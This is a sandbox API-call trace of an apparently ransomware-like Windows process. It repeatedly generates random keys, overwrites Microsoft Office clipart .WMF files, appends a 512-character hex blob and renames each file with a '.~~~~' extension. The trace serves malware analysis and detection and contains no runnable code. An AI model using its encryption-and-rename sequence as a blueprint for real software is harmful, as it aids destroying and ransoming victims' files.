	[0090.150] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00985_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00985_.wmf.~~~~")) returned 1
	[0090.157] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28accf8 | out: hHeap=0x300000) returned 1
	[0090.157] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0090.163] GetLastError () returned 0x0
	[0090.164] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x394970) returned 1
	[0090.165] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0090.165] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0090.165] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0090.165] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0090.165] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0090.165] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=21015488543) returned 1
	[0090.165] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9f859d70, dwHighDateTime=0x1d60e1e)) 
	[0090.165] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0090.165] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0090.165] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0090.165] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x37ff98
	[0090.165] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0090.165] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37ff98 | out: hHeap=0x300000) returned 1
	[0090.165] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0090.165] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0090.165] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28accf8
	[0090.165] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0090.165] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37f038
	[0090.165] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28accf8 | out: hHeap=0x300000) returned 1
	[0090.165] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0090.166] GetLastError () returned 0x0
	[0090.166] GetLastError () returned 0x0
	[0090.166] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0090.166] GetLastError () returned 0x0
	[0090.166] GetLastError () returned 0x0
	[0090.178] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xffffface, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0090.178] WriteFile (in: hFile=0x118, lpBuffer=0x28b6ff8*, nNumberOfBytesToWrite=0x532, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28b6ff8*, lpNumberOfBytesWritten=0x26dfec0*=0x532, lpOverlapped=0x0) returned 1
	[0090.179] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28b6ff8 | out: hHeap=0x300000) returned 1
	[0090.179] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0090.179] WriteFile (in: hFile=0x118, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0090.179] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0090.179] WriteFile (in: hFile=0x118, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0090.179] CloseHandle (hObject=0x118) returned 1
	[0090.179] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0090.179] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00076_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00076_.wmf.~~~~")) returned 1
	[0090.180] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0090.180] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0090.180] GetLastError () returned 0x0
	[0090.181] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x394970) returned 1
	[0090.181] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0090.181] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0090.181] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0090.181] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0090.181] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0090.181] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=21017159912) returned 1
	[0090.182] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9f87fed0, dwHighDateTime=0x1d60e1e)) 
	[0090.182] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0090.182] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0090.182] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0090.182] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x380040
	[0090.182] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0090.182] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x380040 | out: hHeap=0x300000) returned 1
	[0090.182] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0090.182] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0090.182] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0090.182] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0090.182] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37f168
	[0090.182] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0090.182] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0090.182] GetLastError () returned 0x0
	[0090.182] GetLastError () returned 0x0
	[0090.182] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0090.182] GetLastError () returned 0x0
	[0090.182] GetLastError () returned 0x0
	[0090.189] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xfffff6b6, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0090.189] WriteFile (in: hFile=0x118, lpBuffer=0x28b6ff8*, nNumberOfBytesToWrite=0x94a, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28b6ff8*, lpNumberOfBytesWritten=0x26dfec0*=0x94a, lpOverlapped=0x0) returned 1
	[0090.189] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28b6ff8 | out: hHeap=0x300000) returned 1
	[0090.189] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0090.189] WriteFile (in: hFile=0x118, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0090.189] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0090.189] WriteFile (in: hFile=0x118, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0090.189] CloseHandle (hObject=0x118) returned 1
	[0090.190] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0090.190] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00100_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00100_.wmf.~~~~")) returned 1
	[0090.190] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0090.190] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0090.190] GetLastError () returned 0x0
	[0090.190] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x394970) returned 1
	[0090.191] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0090.191] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0090.191] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0090.191] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0090.191] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0090.191] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=21018161697) returned 1
	[0090.192] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9f87fed0, dwHighDateTime=0x1d60e1e)) 
	[0090.192] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0090.192] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0090.192] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0090.192] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3800b0
	[0090.192] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0090.192] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3800b0 | out: hHeap=0x300000) returned 1
	[0090.192] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0090.192] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0090.192] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0090.192] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0090.192] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37f330
	[0090.192] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0090.192] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0090.192] GetLastError () returned 0x0
	[0090.192] GetLastError () returned 0x0
	[0090.193] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0090.193] GetLastError () returned 0x0
	[0090.193] GetLastError () returned 0x0
	[0090.209] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xfffff78a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0090.209] WriteFile (in: hFile=0x118, lpBuffer=0x28b6ff8*, nNumberOfBytesToWrite=0x876, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28b6ff8*, lpNumberOfBytesWritten=0x26dfec0*=0x876, lpOverlapped=0x0) returned 1
	[0090.265] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28b6ff8 | out: hHeap=0x300000) returned 1
	[0090.265] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0090.265] WriteFile (in: hFile=0x118, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0090.265] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0090.265] WriteFile (in: hFile=0x118, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0090.265] CloseHandle (hObject=0x118) returned 1
	[0090.265] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0090.265] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00136_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00136_.wmf.~~~~")) returned 1
	[0090.266] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0090.292] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0090.292] GetLastError () returned 0x0
	[0090.293] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x394970) returned 1
	[0090.293] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0090.293] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0090.293] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0090.293] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0090.293] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0090.293] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=21028361640) returned 1
	[0090.294] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9f98a870, dwHighDateTime=0x1d60e1e)) 
	[0090.294] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0090.294] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0090.294] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0090.294] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3803c0
	[0090.294] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0090.294] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3803c0 | out: hHeap=0x300000) returned 1
	[0090.294] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0090.294] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0090.294] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0090.294] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0090.294] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28700a0
	[0090.294] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0090.294] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0090.294] GetLastError () returned 0x0
	[0090.294] GetLastError () returned 0x0
	[0090.294] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0090.294] GetLastError () returned 0x0
	[0090.294] GetLastError () returned 0x0
	[0090.317] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xfffff12c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0090.317] WriteFile (in: hFile=0x118, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0xed4, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x26dfec0*=0xed4, lpOverlapped=0x0) returned 1
	[0090.318] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0090.318] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0090.318] WriteFile (in: hFile=0x118, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0090.318] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0090.318] WriteFile (in: hFile=0x118, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0090.318] CloseHandle (hObject=0x118) returned 1
	[0090.318] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0090.319] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00445_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00445_.wmf.~~~~")) returned 1
	[0090.321] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0090.321] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0090.321] GetLastError () returned 0x0
	[0090.321] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x394970) returned 1
	[0090.322] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0090.322] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0090.322] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0090.322] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0090.322] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0090.322] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=21031226164) returned 1
	[0090.322] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9f9d6b30, dwHighDateTime=0x1d60e1e)) 
	[0090.322] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0090.322] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0090.322] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0090.322] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x380430
	[0090.322] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0090.322] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x380430 | out: hHeap=0x300000) returned 1
	[0090.322] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0090.322] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0090.323] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0090.323] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0090.323] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2870300
	[0090.323] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0090.323] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0090.323] GetLastError () returned 0x0
	[0090.323] GetLastError () returned 0x0
	[0090.323] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0090.323] GetLastError () returned 0x0
	[0090.323] GetLastError () returned 0x0
	[0090.398] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xfffff554, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0090.398] WriteFile (in: hFile=0x118, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0xaac, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x26dfec0*=0xaac, lpOverlapped=0x0) returned 1
	[0090.398] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0090.398] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0090.399] WriteFile (in: hFile=0x118, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0090.399] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
